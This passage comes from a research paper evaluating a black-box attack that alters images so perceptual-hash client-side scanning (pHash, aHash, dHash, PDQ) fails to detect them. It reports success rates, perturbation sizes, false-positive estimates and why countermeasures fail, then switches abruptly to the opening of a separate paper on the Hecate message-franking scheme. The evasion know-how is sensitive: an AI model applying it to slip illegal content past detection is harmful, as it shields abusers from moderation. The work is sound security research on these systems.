a handful of images from the Stanford Dogs dataset [28].

Diversity. We use the algorithm with modifications for
diversity as detailed in Section 4.2. We set ε0 = 0.25 and η0 =
0.01. Our results on L2 perturbations per pixel for different
algorithms and different thresholds in Fig. 2 show that pHash
continuous requires only a small perturbation to generate
successful perturbations, while for the other algorithms we
need a threshold-specific εstart . With these observations, we
set εstart = 0 for pHash continuous for all thresholds. For
aHash and dHash we set εstart = 0.02,0.03,0.04,0.05, and
for pHash and PDQ we set εstart = 0.04,0.06,0.08,0.1 for
four respective thresholds.

Implementation details. We implement the framework
and the perceptual hashing algorithms in Python 3.7 [44]
using NumPy [23], OpenCV [7], and SciPy [57]. We further
use DCCP [50] for white-box optimization and Faiss [25] for
efficiently matching hashes against the database.

6 Results

We use the ImageNet dataset from ILSVRC 2012 chal-
lenge [47] for empirical evaluation of our attacks. For privacy
reasons we discard the images containing faces as detected by
Yang et al. [61]. At the end, we get a dataset with 1,187,974
images in total. We assume that no two images from ImageNet
are visually similar.

For each repetition (R = 10), we sample two mutually ex-
clusive sets of images, of sizes N and M, from ImageNet
uniformly without replacement. The images in the first set
are used to create the database D of size N (by default, we
use N = 100k images) and the images in the second set are
used as images visually different to those in the database, to
estimate the false positive rate (we use M = 500k images).
We select four thresholds for each perceptual hashing algo-

rithm, shown in Table 1 (see Discussion for an analysis). We
run the black-box attack on N′ = 1,000 randomly sampled
images from the database D. While the threshold will vary
depending on the use case, the first two thresholds are values
that would be typically used in practice (see e.g., [27] for
PDQ). The third and in particular the fourth threshold would
probably generate too many false positives in practice. We
include them to test our attack in more challenging scenar-
ios. Given a threshold T and N′ images to be attacked, we
compute the attack effectiveness as the proportion of images
that are successfully attacked, i.e., a perturbation is found
satisfying fX (δ)> T .

Algorithm Thresholds
pHash continuous 0.05, 0.6, 1.1, 1.6
pHash 2, 6, 10, 14
aHash 1, 3, 5, 7
dHash 1, 4, 9, 12
PDQ 30, 70, 85, 90

Table 1: Thresholds selected for the detection system.

In our experiment, our black-box attack manages to success-
fully attack all images (N′×R = 10,000) for all perceptual
hashing algorithms but one, reaching an attack effectiveness
of 99.9%. More specifically, we found that one image could
not be attacked at the thresholds considered when using aHash
for one particular instantiation of our attack . All other im-
ages were all successfully attacked for all perceptual hashing
algorithms and thresholds considered.

Fig. 1 shows examples of images successfully perturbed us-
ing our attack along with the threshold used and resulting L2
perturbation per pixel. The modified image always preserves
the visual content of the original image with PDQ seemingly
requiring the most visually perceptible modifications. Values
of up to L2,pixel≈ 0.10 resulting in very small changes are typ-
ically needed for most images even with the largest thresholds
considered. We chose images where the subject is in focus
so that the effect of perturbations can be clearly seen and
we refer the reader to the Appendix section of the extended
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Figure 3: False Positive Rate (FPR) for different algorithms and thresholds. The database size is N = 100k, the number of images
used to estimate the FPR is M = 500k and the number of attacked images is N′ = 1k. We show the mean with error bars for the
standard deviation (which is very small) over 10 repetitions.

version of our paper 2 for the complete results of our attack
against these images for all perceptual hashing algorithms
and thresholds.

Fig. 2 shows that a small L2 perturbation per pixel is
enough to successfully attack most of the images for all hash-
ing algorithms. We obtain similar results using the popu-
lar Learned Perceptual Image Patch Similarity (LPIPS) dis-
tance [64] (see Fig. 9 in the Appendix) that measures the
perceptual distance between images using intermediate layers
of a pre-trained image classification model. We can see that
the perturbation increases overall with the threshold for all
perceptual hashing algorithms. This is expected as a larger
perturbation might be needed to push an image at least T away
from the original. However, even for the largest thresholds,
we observe that an L2 perturbation per pixel of 0.10 is enough
to successfully attack with imperceptible modification 95.0%
of images for dHash (respectively 100.0%, 83.7%, 87.2%
and 73.3% for pHash continuous, pHash, aHash and PDQ).
While results cannot be directly compared across algorithms
as threshold are algorithm-specific, we observe interesting
difference in the shape of the various algorithm’s CDF. pHash
continuous seems to requires a similar amount of perturbation
for all images (at a given threshold) with, e.g., L2 for T = 1.6
only ranging between 0.050 and 0.077. pHash, dHash, and
aHash have similar distributions while PDQ seems to always
require some changes to the image (resulting in a CDF shifted
to the right). We hypothesize the behavior we observe for
pHash continuous to be due to two factors: (1) the attack
mostly targets the DCT step where it finds an almost opti-
mal L2 perturbation of T = 1.6 for an image size of 32×32,
yielding an L2 perturbation per pixel of ≈ 1.6/32 = 0.05 and
(2) the other transformations from original to resized images
(and from resized to original image to invert the perturbation)
roughly preserve the L2 perturbation per pixel.

Fig. 3 shows that a detection system would have a very
large False Positive Rate (FPR), even for the lowest threshold
considered. We here empirically estimate FPR as the fraction
of images among the M images outside the database flagged
by the system. Even for the smallest threshold considered,

2https://arxiv.org/abs/2106.09820

the false positive rate is larger than 0.1%. While seemingly
small, such values of FPR would, in practice, result in a large
number of images being detected by the system and having e.g.
to be sent unencrypted to be analyzed. In 2017, 4.5B images
were shared daily on Whatsapp alone [5]. For a prevalence
rate of illegal content of p = 10−4 and a database size of
N = 100k, this would result in >4M false positive images
having to be shared unencrypted daily (see Table 2), raising
very significant privacy concerns. For the largest thresholds,
the false positive rate increases to rates between 14.8% for
pHash continuous to 73.0% for pHash resulting in hundreds
of millions of images being incorrectly flagged and shared
daily. We show in the Appendix how this number does not
vary much as a function of prevalence rates.

Hash Rough estimate of the number of wrong-
ly detected images daily / Threshold T

pHash con- ∼ 5M ∼ 23M ∼ 184M ∼ 665M
tinuous T = 0.05 T = 0.6 T = 1.1 T = 1.6

pHash ∼ 5M ∼ 7M ∼ 108M ∼ 3.3B
T = 0.2 T = 6 T = 10 T = 14

aHash ∼ 44M ∼ 179M ∼ 498M ∼ 1.1B
T = 1 T = 3 T = 5 T = 7

dHash ∼ 5M ∼ 8M ∼ 112M ∼ 798M
T = 1 T = 4 T = 9 T = 12

PDQ ∼ 5M ∼ 7M ∼ 135M ∼ 1.6B
T = 30 T = 70 T = 85 T = 90

Table 2: Rough estimate of the number of images that would
be wrongly detected daily on WhatsApp alone for different
perceptual hashing algorithms and thresholds. We here con-
sider a database size of N = 100k, 4.5B images being shared
daily [5], and a prevalence rate of illegal content of 10−4.

Diversity. Contrary to the ML case, ensuring that an at-
tack generates diverse enough perturbations every time it
is run is essential to make it a practical concern for client-
side scanning. Deterministic attacks could indeed easily be
thwarted by expanding the database to include the original
images and its modifications. To assess the ability of our at-
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Figure 4: Pairwise distances between hashes of the multiple modified images generated for the same image, for different
algorithms and thresholds. D = 50 modified images are generated for each (N′ = 100) original image.
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Figure 5: Cumulative distribution function (CDF) for the
L2 norm of perturbations using our black-box attack (BB-
NES) against the DCT step and a threshold T = 1.6 (gray
dotted line) for N′ = 1,000 images. The inset shows the attack
effectiveness for the three attacks.

tack to produce different perturbations, we attack N′′ = 100
images sampled uniformly at random without replacement
from the database. Each image is attacked D = 50 times, us-
ing the diversity-focused version of the attack and different
random initializations (seeds) (see Section 4.2). Fig. 10 (see
Appendix) shows the L2 perturbation per pixel is slightly
larger than in the default black-box attack. Yet, most pertur-
bations are imperceptible and have L2 perturbation per pixel
≤ 0.15 for all thresholds and algorithms.

Fig. 4 shows the pairwise distances between hashes of mod-
ified images generated from the same image. The distances
between modified images are roughly similar to the threshold
used for all the perceptual hashing algorithms evaluated. This
suggests that the modified images are well distributed around
the ball centered on the original image and not clustered in
one part of the space. This also strongly suggests that simple
mitigation strategies like expanding the database would not
be sufficient to counter the attack.

Finally, we assess the capacity of the black-box approach
to produce optimal perturbations against the DCT step. We
compare the results of the black-box attack to those of the
white-box attacks and to our theoretical lower-bound (for

a threshold T and the Euclidean distance, the L2-norm ≥
T , see Sec. 4.3). We attack N′ = 1,000 images randomly
sampled from ImageNet after resizing them to k× k with
k = 32 and use the black-box attack parameters from the DCT-
based pHash continuous. For the WB-Sampling approach,
we generate up to 1M samples and we consider the attack
successful as soon as δ∈ I−X (see Alg. 5 for details). For the
WB-Optim approach, we run the optimization program for a
maximum of 1,000 iterations and for up to 10 times, until a
solution is found; if none is found, the attack is considered
unsuccessful. Fig. 5 shows that the black-box attack achieves
an input perturbation no larger than 2 times the theoretical
limit 96% of the time and no more than 0.5 above the limit
74% of the time. Interestingly, in this experiment, while the
black-box attack always succeeds in finding a perturbation,
the white-box approaches are less successful. WB-Optim and
WB-Sampling achieve an attack effectiveness of only 98.7%
and 66.3% respectively. We believe that WB-Sampling is less
successful because the sampled perturbations are more likely
to go out of the image bounds for some images, resulting
in no successful perturbation. Finally, we note that the L2
perturbation is smaller for the images successfully attacked
by WB-Sampling, perhaps because it easier to devise small
perturbations for these images.

7 Discussion

Our results and, in particular, the FPRs for specific thresh-
olds are estimated using ImageNet. While ImageNet already
contains more than 1M images, results might differ in differ-
ent and, in particular, larger datasets. We randomly sample
P images from ImageNet and, for each hashing algorithm,
compute the distances between image hashes for up to 1M
pairs. We find the distribution of distances between images to
be roughly stable when the number of images varies for each
algorithm. Similarly, we run the analysis on another dataset,
Stanford Dogs [28], and show the distribution of distances to
be similar to that of ImageNet and stable. This suggest that
our FPRs can be safely extrapolated to larger and different
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Figure 6: False Positive Rate (FPR) for each algorithm, threshold, and database size N. The number of images visually different
from those in the database that are used to estimate the FPR is M = 500k.

datasets. For the figure supporting this analysis, we refer the
reader to the Appendix of the extended version of our paper 3.

We have, throughout this work, assumed that the attacker
knows the threshold and distance function used by the system
to flag images. We believe this assumption to be reasonable
as a) pairwise distances are fairly similar across datasets and
stable, allowing an attacker to reasonably estimate acceptable
thresholds and b) our attack works well, producing images
very similar to the original one, even with very high thresholds.
We also believe the assumption that the attacker knows the
distance function used to be reasonable, as an attacker is likely
to be able to infer the distance being used based on the output
values, especially with the Euclidean and Hamming distance
being the most commonly used.

While we report results on a database size of N = 100k,
larger databases are often used in practice (e.g., the National
Center for Missing and Exploited Children in the US reported
a database size of 47.2M [1] and the Global Internet Forum
for Counter Terrorism reported a database of size 250k [19]).
Fig. 6 shows that the FPR of a system increases with the
database size N. Even for the lowest threshold, the FPR for
N = 500k reaches 0.55% for pHash continuous (T = 0.05),
0.59% (T = 2) for pHash, 2.13% (T = 1) for aHash, 0.55%
(T = 1) for dHash and 0.59% (T = 30) for PDQ. This strongly
suggest that the FPRs we report are a lower bound on the
FPRs and therefore the privacy risk in practice.

We have so far considered our attack to be successful when
the modified image is at a distance > T from the original
image. In practice, however, a modified image might be at a
distance > T from the original image but still be at a distance
≤ T from another image in the database and be (correctly,
even if for the wrong reason) flagged. To evaluate the impact
this has on the detection avoidance capability of our attack,
we compute the False Negative Rate (FNR), the fraction of
modified images incorrectly rejected by the system. Fig. 7
shows that the FNR stays extremely high for all perceptual
hashing algorithms at reasonable thresholds, indicating that
very few modified images get flagged for being at a distance
≤ T from another image in the database. As expected, FNR

3https://arxiv.org/abs/2106.09820

decreases (and FPR increases) when databases becomes large
and a large threshold is used, leading to a significant fraction
of the space being considered “close” to at least one illegal
image. For instance, for a database size N = 500k and the
highest threshold, 2.2% of modified images would still be
flagged for pHash and 23.3% for PDQ.

Our black-box attack relies on a heuristic to minimize the
perturbation while increasing the distance to the original im-
age above a threshold T . Although we produce imperceptible
perturbations for most of the attacked images, our results are
only an upper estimate of the actual minimum perturbation.
Prior work studying the robustness of machine learning clas-
sification models to adversarial perturbations showed that
finding minimal perturbation is a hard problem [26] and even
lower perturbations might be achieved in future work.

We focus, in our white-box attack, on DCT-based percep-
tual hashing algorithms, exploiting the linearity of the DCT
transform. Our attack is likely to be extendable to other linear
image transforms, e.g. image scaling [60], opening the door to
future attacks as well as potentially novel theoretical insights.

Countermeasures. We discuss several countermeasures
that a detection system could implement to thwart our attack.

First, the system could use a larger threshold. We showed
in Sec. 6 that the larger thresholds are not only ineffective
in detecting adversarially modified images but also lead to a
significant increase in false positives.

Second, one could use our attacks to generate hashes and
add them to the database. We show in Sec. 6 that our attack is
able to generate diverse perturbations so as to prevent such
countermeasures.

Third, systems (such as Apple’s protocol [4]) could flag
users only after the number of matches exceed a predefined
threshold k, rather than on a single match. Using a simple
model, we show that such a measure is not a trivial counter-
measure to our attack.

More specifically, we assume that both offenders and non-
offenders send 1000 images to the server. However, while a)
non-offenders send 0 illegal images b) offenders send exactly
100 illegal images (10%). For each type of user and each
threshold, we compute the probability for the system to flag
1 ≤ k ≤ N images using the estimated FPR and FNR for a
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Figure 8: Probability that a detection system flags at least k
images shared by non-offenders (sharing 0 illegal images)
and offenders (sharing 100 illegal images). Both offenders
and non-offenders share a total of 1,000 images.

database size of 100k (see Appendix for the exact formulas).
Fig 8 shows that offenders and non-offenders are similarly
likely to have at least k images flagged. We obtain similar
results for the other perceptual hashing algorithms. This can
be attributed to the fact that the probability for a non-illegal
image to get flagged (FPR) is comparable to the probability
for an adversarially modified illegal image to be flagged (true
positive rate or T PR = 1−FNR). These results suggest that
flagging a user with at least k matches is not a trivial coun-
termeasure against our attack. We leave a deeper analysis of
such a mechanism for future work.

Fourth, the detection system could apply additional image
transformations before computing the perceptual hash of the
image. Such modifications would however be part of the black-
box and attacked by our algorithm. Simple transformations are
thus unlikely to prevent our adversarial detection avoidance
attack. Similarly, modifying the perceptual hashing algorithm
for instance by using a secret set of DCT coefficients that
is different from the set used by pHash or PDQ is unlikely
to prevent our attack. These would furthermore make the
algorithm less robust as the coefficients extracted by pHash
and PDQ represent the most important features of the image.

Fifth, increasing the length of the hashes is likely to help
better distinguish between different images and reduce the
false positive rate. This might allow the system to increase

what are realistic thresholds and make our attack harder. We
here use hashes of size 64 (and 256 for PDQ [27], see Sec.
5.2). Most perceptual hashing algorithms can be adapted to
provide hashes of different sizes. For instance, pHash, aHash
and dHash can all output hashes of size 256 4. While further
analysis is required, we note here that a) our attack works well
even for large thresholds and b) that longer hashes encode
more information about the image. This raises strong privacy
concerns e.g. reversal attacks [33] and, in the extreme, defeats
the purpose of perceptual hashing.

Implications. Our research shows that current perceptual
hashing (PH) algorithms are not robust to black-box detec-
tion avoidance attacks and that no straightforward mitigations
strategies exist. We believe PH algorithms, which are de-
signed to produce hashes that change gradually as the image
changes, might be inherently vulnerable to attacks. Our re-
sults, combined with the concerns PH-CSS and in particular
cryptographic-enhanced PH-CSS such as Apple’s [4] raise
on the “illegal” content being searched for, led us to believe
that even the best PH-CSS proposals today are not ready for
deployment.

8 Related work

Robustness of perceptual hashing algorithms. Previous
work have shown perceptual hashing algorithms to be robust
to small standard image transformations like resizing, recol-
oring, watermarking, cropping, and blurring [16, 63]. They
evaluate the performances of perceptual hashing algorithms
against modifications in duplicate image detection setup, i.e.
matching against a single image. They however focus on stan-
dard image transformations and do not consider adversaries
with more sophisticated tools at their disposal.

Dolhansky and Ferrer [15] studied collision (false positive)
attacks in perceptual hashing algorithms under white-box
assumptions. More specifically, their algorithm modifies an
image such that its hash is same as the hash of a given tar-
get image. They conclude that perceptual hashing algorithms
should remain secret. In this work, we instead focus on the

4https://github.com/thorn-oss/perception
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client-side use case proposed recently by researchers and pol-
icy makers [11, 36] where the attacker has a black-box access
to the algorithm. Furthermore, our attack is a false negative
attack, aiming at finding minimal diverse perturbations such
that distance between the hashes of modified and input image
is greater than a given threshold.

Adversarial attacks against ML models. Adversarial at-
tacks have been widely studied against ML models [46, 49]
under both white-box [9, 20, 30, 54] and black-box assump-
tions [32, 42]. Image classification models have been particu-
larly found to be vulnerable to adversarial attacks [3] leading
the image to be misclassified by the ML model. Our attack
leverages previous work in adversarial ML including Natural
Evolutionary Strategies (NES) (see Sec. 4.2).

Adversarial attacks on ML models in a black-box setting
assume that the attacker has an access to query the model
and get the output. A commonly observed approach is to
train a substitute model to emulate the target model, and then
attack the surrogate model [42, 51]. This approach implicitly
assumes that the surrogate model has enough parameters to
provide a good approximation of the target model. This would
imply that not all substitute models would work for all the
target models and hence the attack might not always work.

Another approach is to iteratively perturb the image and
query the model to update the perturbation in each itera-
tion [21]. These methods often use gradient estimation to
estimate the perturbation update in each iteration. Natu-
ral evolutionary strategies (NES) for gradient estimation is
one of the state-of-the-art methods in black-box adversar-
ial ML [10, 24, 37]. Our black-box attack also uses NES-
based strategy for gradient estimation and perturbation update.
Lastly, we note that generating multiple perturbations for the
same image for diversity in the output space is not a require-
ment in the adversarial ML setup, while it is an important
requirement for adversarial attacks against PH-CSS.

9 Conclusion

In this paper, we introduced the first framework to evaluate the
robustness of perceptual hashing-based client-side scanning
against adversarial attacks. We proposed a general black-box
attack and showed that > 99.9% of images can be success-
fully modified while preserving the image content. We also
show our attack to generate diverse perturbations prevent-
ing straightforward mitigation strategies such as expanding
the database with modified images. We finally propose two
white-box attacks, providing a theoretical basis for attacks.

Taken together, our results shed strong doubt on the robust-
ness to adversarial black-box attacks of perceptual hashing-
based client-side scanning as currently proposed. The detec-
tion thresholds necessary to make the attack harder are likely
to be very large, probably requiring more than one billion
images to be wrongly flagged daily, raising strong privacy
concerns.
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A Proofs for the DCT analysis

Proposition 1. AAT = Ic2 , where A is defined as follows:

A ∈ Rc2×k2

Ac1×c+c2,k1×k+k2 = M′1+c1,1+k1
×M′1+c2,1+k2

for 0≤ c1,c2 ≤ c−1,0≤ k1,k2 ≤ k−1

Proof. Let c = c1× c+ c2 and c′ = c′1× c+ c′2. We develop
(AAT )c,c′ as follows:

(AAT )c,c′ =
k−1

∑
k1=0

k−1

∑
k2=0

Ac1×c+c2,k1×k+k2 ×Ac′1×c+c′2,k1×k+k2

=
k−1

∑
k1=0

k−1

∑
k2=0

M′1+c1,1+k1
×M′1+c2,1+k2

×M′1+c′1,1+k1
×

×M′1+c′2,1+k2

= (
k−1

∑
k1=0

M′1+c1,1+k1
×M′1+c′1,1+k1

)×

× (
k−1

∑
k2=0

M′1+c2,1+k2
×M′1+c′2,1+k2

)

= (M′M′T )1+c1,1+c2 × (M′M′T )1+c′1,1+c′2

Because M′M′T = Ic, it follows that (A AT )c,c′ = 1 if c = c′

and 0 otherwise. Indeed, c = c′ if and only if c1 = c′1 and
c2 = c′2, meaning that the terms being multiplied in the last
equality can both be non-zero only when c = c′, in which case
they are both equal to 1.

Proposition 2. The eigenvalues of AT A are 1 with multiplicity
c2 and 0 with multiplicity k2− c2.

Proof. Let λ be an eigenvalue of AT A and x 6= 0 such that
AT Ax = λx. We multiply by A to the left and obtain λAx =
A(AT Ax) = (AAT )Ax = Ax. We distinguish two cases: (1)
Ax = 0, which implies that λ = 0 and (2) Ax 6= 0, which im-
plies that λ = 1.

Therefore the eigenvalues of AAT can only be 0 or 1.
We denote by m(λ) the multiplicity of eigenvalue λ.
It follows from the above analysis that dim(Ker(A)) ≤

m(0) and that rank(A) ≤ m(1). By summation we obtain
k2 ≤ m(0)+m(1) = k2, therefore m(1) = rank(A).

We show that the rank of A is c2. Indeed rank(A) ≤
min(c2,k2) = c2. If it were the case that rank(A) < c2, then
there would be x ∈ Rc2

such that xT A = 0 but x 6= 0. Since
AAT = Ic2 , by multiplying with AT on the right we obtain
xT = 0, a contradiction.

We thus conclude that m(1) = c2 and m(0) = k2− c2.

B Visual similarity

Fig. 9 shows the perceptual similarity between the original
and modified images as quantified by the Learned Percep-
tual Image Patch Similarity distance [64] evaluated using
AlexNet [29].

C Prevalence rate

Table 3 shows the number of wrongly detected images for
different perceptual hashing algorithms and threshold, for a
prevalence rate of 10−7 for illegal content among 4.5B images
shared daily. The results are comparable in order of magnitude
to those of Table 2 in the main paper.

D Impact of diversity on visual similarity of
perturbed images

Fig 10 shows that our modifications to black-box algorithm
leads to more diverse perturbations, but it also leads to rel-
atively higher L2 perturbation per pixel compared to black-
box algorithm without modifications. However we also ob-
serve that even for the highest thresholds, 99.9% of diverse
perturbed images generated for dHash (respectively 100.0%,
80.4%, 91.8% and 65.2% for pHash continuous, pHash, aHash
and PDQ) of perturbed images are within the L2 perturbation
per pixel of 0.13.
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Figure 9: Cumulative distribution function (CDF) for the LPIPS distance between the original and the perturbed image for
different algorithms and thresholds T , and all successfully attacked images over 10 experiments. A smaller distance indicates
higher visual similarity between the modified and original images. The distances increase slowly with the threshold but remain
small in all cases.
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Figure 10: Pairwise distances between hashes of the multiple perturbations generated for the same image. The number of
perturbations generated for each image is D = 50 and the number of images attacked is N′ = 100.

Hash Rough estimate of the number of wrong-
ly detected images daily / Threshold T

pHash con- ∼ 5M ∼ 23M ∼ 184M ∼ 665M
tinuous T = 0.05 T = 0.6 T = 1.1 T = 1.6

pHash ∼ 5M ∼ 7M ∼ 108M ∼ 3.3B
T = 0.2 T = 6 T = 10 T = 14

aHash ∼ 44M ∼ 179M ∼ 498M ∼ 1.1B
T = 1 T = 3 T = 5 T = 7

dHash ∼ 5M ∼ 8M ∼ 112M ∼ 798M
T = 1 T = 4 T = 9 T = 12

PDQ ∼ 5M ∼ 7M ∼ 135M ∼ 1.6B
T = 30 T = 70 T = 85 T = 90

Table 3: Rough estimate of the number of images that would
be wrongly detected daily on WhatsApp alone for different
perceptual hashing algorithms and thresholds. We here con-
sider a database size of N = 100k, 4.5B images being shared
daily [5], and a prevalence rate of illegal content of 10−7.

E Probability to flag k images

We consider a simple model with two types of users each
sending N images independently from one another. The first
type, which we call non-offender, sends only non-illegal im-
ages. The second type, which we call offender, sends l illegal

images that are adversarially modified using our attack and
N− l non-illegal images. The probability for the detection
system to flag an image is FPR for non-illegal images and
1−FNR for illegal images adversarially modified using our
attack.

Under this model, the number of images flagged for a non-
offender follows a binomial distribution N1 ∼ Bin(N,FPR).
Similarly, the number of images flagged for an offender can
be written as the sum of two binomial random variables N2 ∼
Bin(l,1−FNR)+Bin(N− l,FPR). The two follow the same
distribution if 1−FNR = FPR, i.e., if the adversarial images
are indistinguishable from natural images to the detection
system.

This allows us to compute, for each type of user, the proba-
bility that 0≤ k ≤ N of their images are flagged:

P(N1 = k) =
(

N
k

)
FPRk(1−FPR)N−k

P(N2 = k) =
min(l,k)

∑
i=0

(
l
i

)
(1−FNR)iFNRl−i×(

N− l
k− i

)
FPRk−i(1−FPR)N−l−k+i
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Abstract
End-to-end encryption provides strong privacy protections

to billions of people, but it also complicates efforts to mod-
erate content that can seriously harm people. To address this
concern, Tyagi et al. [CRYPTO 2019] introduced the concept
of asymmetric message franking (AMF) so that people can re-
port abusive content to a moderator, while otherwise retaining
end-to-end privacy by default and compatibility with anony-
mous communication systems like Signal’s sealed sender.

In this work, we provide a new construction for asymmetric
message franking called Hecate that is faster, more secure,
and introduces additional functionality compared to Tyagi
et al. First, our construction uses fewer invocations of stan-
dardized crypto primitives and operates in the plain model.
Second, on top of AMF’s accountability and deniability re-
quirements, we also add forward and backward secrecy. Third,
we combine AMF with source tracing, another approach to
content moderation that has previously been considered only
in the setting of non-anonymous networks. Source tracing
allows for messages to be forwarded, and a report only iden-
tifies the original source who created a message. To provide
anonymity for senders and forwarders, we introduce a model
of AMF with preprocessing whereby every client authenti-
cates with the moderator out-of-band to receive a token that
they later consume when sending a message anonymously.

1 Introduction

End-to-end encrypted messaging systems like Facebook Mes-
senger, Signal, Telegram, Viber, and WhatsApp are used by
billions of people [80] due to their powerful combination
of cryptographic protections and ease of use. The security
guarantees provided by encrypted messengers are both varied
and valuable [77]: confidentiality and integrity from authen-
ticated key exchange [16, 20, 53], deniability from the use
of symmetric authenticated encryption [15, 29, 39], and for-
ward and backward (aka post-compromise) security via key
evolution [25, 40]. However, these very security guarantees

complicate efforts by secure messaging platforms to inves-
tigate reports of abuse or disinformation campaigns, which
can have serious consequences for individuals and collective
society [10, 31, 72, 74, 79].

To address these concerns, the security research com-
munity has developed three methods to augment end-to-
end messengers with privacy-respecting technologies to as-
sist with content moderation: message franking, source trac-
ing, and automated identification. First, message franking
[29,32,39,54,55,75] allows recipients to manually report abu-
sive messages with assurance that unreported messages retain
all guarantees of secure messengers, and reported messages
are both accountable (the moderator correctly identifies the
message’s sender) and deniable (the moderator cannot prove
this fact to anybody else). Second, source tracing [59, 76]
allows the moderator to pinpoint the original source of a viral
message rather than the person who forwarded the message to
the eventual reporter. Finally, automated identification [11,52]
proactively matches messages against a moderator-provided
list of messages using a private (approximate) set membership
test, with possible interventions like rate-limiting or warning
labels in case of a match [73]. We refer readers to [65] for
more details about content moderation in encrypted settings.

This work contributes a new construction called Hecate
that simplifies, strengthens, and unifies the first two content
moderation techniques: asymmetric message franking and
source tracing. We do not consider automated identification,
focusing instead on abuse reporting schemes that empower
the people who receive messages to choose the action they
wish to take [49, 60]. To provide context for our work, we
describe the nascent space of message franking and source
tracing in more detail before explaining our improvements.

Prior work. There exists a long line of research into the se-
curity of end-to-end encrypted messaging systems (EEMS) at
both the protocol design and software implementation layers
(e.g., [4, 9, 13, 19, 23, 48]). Our work relies on these analyses
in order to treat the underlying messaging protocol in a black-
box manner and abstract away its details, so we can focus on
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the additions provided by content moderation protocols.
Message franking constructions involve four parties: a

sender and receiver of a message, plus the platform providing
the secure messaging service and a moderator who acts on
abuse reports (see Figure 1). Symmetric message franking
protocols are limited to the setting in which the platform and
moderator are the same entity and have sufficient network-
level visibility to pinpoint the sender of each message. At
a high level, these constructions operate as follows: when a
sender submits a ciphertext corresponding to the message m,
the platform signs an attestation binding the sender’s identity
to a commitment com(m) provided by the sender in the clear.
The receiver also sees this commitment (e.g., as part of a ro-
bust encryption scheme [1, 33, 34]) and can check whether
it is correct, dropping the packet if it is malformed. Subse-
quently, the receiver can report the message as abusive by
opening all [29, 32, 39] or part [54] of the commitment; then,
the platform can determine whether the message is abusive
and take appropriate action.

The work of Tyagi et al. [75], which is the starting point for
this paper and which we will henceforth refer to as TGLMR,
introduces the notion of asymmetric message franking (AMF)
that removes the limitations from above. Specifically, AMF
can operate even when using Signal’s sealed sender [68] or an
anonymous communication system (e.g., [3, 26, 28, 78]) that
hides the identity of the sender or receiver from the platform.
Furthermore, the system is secure whether the moderator and
platform are operated by the same or different entities.

Inspired by designated-verifier signatures [46, 64], the
TGLMR construction requires the sender to make a Diffie-
Hellman tuple 〈g,gsksrc ,gkmod ,gsksrc·kmod〉 involving the mod-
erator’s secret key and her own, as well as a non-interactive
zero knowledge proof that the tuple is well-formed. TGLMR
achieves accountability and deniability for the sender, but
doesn’t provide forward and backward security due to the use
of long-lived secret keys. Moreover, it is complex and expen-
sive to implement (see §6), and requires a non-falsifiable
knowledge of exponent assumption in the random oracle
model. Finally, TGLMR does not easily generalize to more
complex conversation graphs that allow for forwarding.

Another line of research investigates the ability for the mod-
erator to trace the original source of messages that might have
been forwarded several times within an EEMS. Tyagi, Miers,
and Ristenpart [76] began this line of study with their Trace-
back scheme, which reveals to the moderator the entire path
from the original source to the reporter, but it requires server-
side storage proportional to the number of messages eligible
to be traced. Two recent works provide source tracing, iden-
tifying only the original source of a reported message. First,
Peale, Eskandarian, and Boneh [59] contribute a source trac-
ing construction that inherits most security properties from
the underlying EEMS (see Table 1). Using more expensive
crypto operations, the stronger variant of their construction is
the only one to date to achieve tree unlinkability — namely,
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Signal × × × ×
Tyagi et al. [75] × src ×
Traceback [76] path
FACTS [55] src
Peale et al. [59] src
Hecate (this work) src
: fully provided, : provided but not proven, : partially provided, : not

provided, ×: not applicable

Table 1: A comparison of features and security properties pro-
vided by the Signal EEMS protocol as well as several abuse
reporting constructions. Security properties are described in
§2.2 and §5. For the anonymity column, refers to providing
anonymity at the level of Signal’s sealed sender [68].

that a receiver who gets the same message twice cannot tell
if they originate from the same or different sources. Second,
the FACTS scheme by Liu et al. [55] provides source tracing
along with a threshold reporting scheme so that the modera-
tor only learns when sufficiently many complaints have been
lodged against an abusive source client. However, none of
these traceback or source tracing schemes [55, 59, 76] consid-
ers backward security as part of their security model. Also,
none provides full anonymity of senders and receivers from
the EEMS platform or moderator; FACTS is compatible with
a network that provides one-sided anonymity, but it requires
senders to identify themselves and request tokens from the
moderator on the fly whenever they wish to send a message.

This leaves the following open question:

Can we design a protocol that simultaneously pro-
vides asymmetric message franking (AMF) and
source tracing, achieves forward and backward
security, maintains anonymity of senders and re-
ceivers to the extent provided by the underlying
EEMS network, and only makes black-box use of
standardized cryptography in the plain model?

In this work, we answer the question in the affirmative.

Our contributions. In this work, we provide a new def-
inition and construction for asymmetric message franking
(AMF) that is more general, more secure, and faster than pre-
vious work. To achieve this goal, we revisit the decision by
TGLMR [75] to “restrict attention to non-interactive schemes
for which franking, verification, and judging requires sending
just a single message.” On its face, this restriction seems nat-
ural because end-to-end encrypted messengers are designed
to work asynchronously in situations with limited network
connectivity, so one-round (online) protocols are desirable.
However, this restriction also appears to direct the solution
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Figure 1: Diagram of Hecate’s data flow for a message m,
from the source (top) to the forwarder (middle) and then to a
reporting receiver (bottom). The commands match our defini-
tion of AMF with preprocessing (Def. 1), and the variables
token, cfrank, cstamp, and report are defined in Fig. 2.

space toward expensive crypto tools like designated-verifier
signatures and zero knowledge proofs.

Our core insight is to introduce an AMF with preprocess-
ing model as shown in Fig. 1. As before, the online work of
message franking and transmission requires only one round
of communication from the source to platform to receiver.
Beforehand, we allow the source and moderator to engage in
a single data-independent preprocessing interaction to pro-
duce tokens that can be consumed during the online phase.
Preprocessing can be batched to produce many tokens at once,
it can be performed during off-peak hours when the source’s
device is connected to power and wifi, and it should should be
performed in advance rather than on the fly in order to avoid
network-level traffic linking attacks [57]. As with MPC [7] or
PIR [8], we show that adding a preprocessing round to AMF
allows for more efficient protocols, and in particular allows
us to answer the open question from above.

Concretely, we contribute an AMF scheme called Hecate.
Our construction leverages the fact that, with preprocessing,
the communication path of reported messages begins and
ends with the content moderator. Ergo, we can use techniques
from (faster) symmetric message franking whereby the mod-
erator can prepare a token (e.g., a symmetric encryption of
the source’s identity) that is only intelligible to its future self.
The token is passed through the sender → platform → re-
ceiver communication flow of an EEMS; that said, end-to-end
encryption prevents the platform from viewing the token.

Hecate also supports source tracing, in which receivers
can forward messages along with their corresponding tokens.
Any recipient can choose to report an abusive message; this
only requires sending one communication to the moderator.

A big challenge in our construction is to combine message
forwarding with our AMF backward (or post-compromise)
security requirement, which states that an attacker who pre-
viously (but no longer) controlled a source’s device cannot
blame the source for new messages. To our knowledge, this
work is the first one to consider and formalize backward se-

